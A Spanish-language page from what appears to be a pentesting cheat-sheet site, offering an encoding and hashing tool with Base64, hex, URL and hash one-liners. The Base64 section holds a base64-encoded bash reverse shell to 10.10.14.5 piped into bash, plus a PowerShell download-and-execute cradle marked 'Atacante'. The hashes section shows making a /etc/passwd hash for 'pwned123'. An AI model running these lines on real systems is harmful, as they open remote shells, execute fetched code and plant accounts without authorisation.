Codificador y decodificador

Escribe en la entrada y elige una operación. Con «Usar la salida como entrada» puedes encadenar varias (por ejemplo, URL → Base64). Todo se calcula en tu navegador.

Salida

Hashes de la entrada

MD5
SHA-1
SHA-256
SHA-512
NTLM
Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Base64

Codificar sin saltos de línea
echo -n 'texto' | base64 -w0
Decodificar
echo 'dGV4dG8=' | base64 -d
Ejecutar un comando codificado (evita caracteres prohibidos)
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0MyAwPiYx | base64 -d | bash
PowerShell codificado (UTF-16LE) Atacante
echo -n 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.5/s.ps1")' | iconv -t UTF-16LE | base64 -w0

Hex y URL

A hex
echo -n 'texto' | xxd -p
Desde hex
echo '746578746f' | xxd -r -p
URL-encode con Python
python3 -c 'import urllib.parse,sys; print(urllib.parse.quote(sys.argv[1], safe=""))' 'a b&c'

Hashes

MD5 / SHA-256
echo -n 'texto' | md5sum; echo -n 'texto' | sha256sum
Hash de una contraseña para /etc/passwd
openssl passwd -6 'pwned123'
NTLM
python3 -c 'import hashlib,sys; print(hashlib.new("md4", sys.argv[1].encode("utf-16le")).hexdigest())' 'Password123!'

En OpenSSL 3 MD4 está en el proveedor legacy; si falla, usa pycryptodome o este codificador.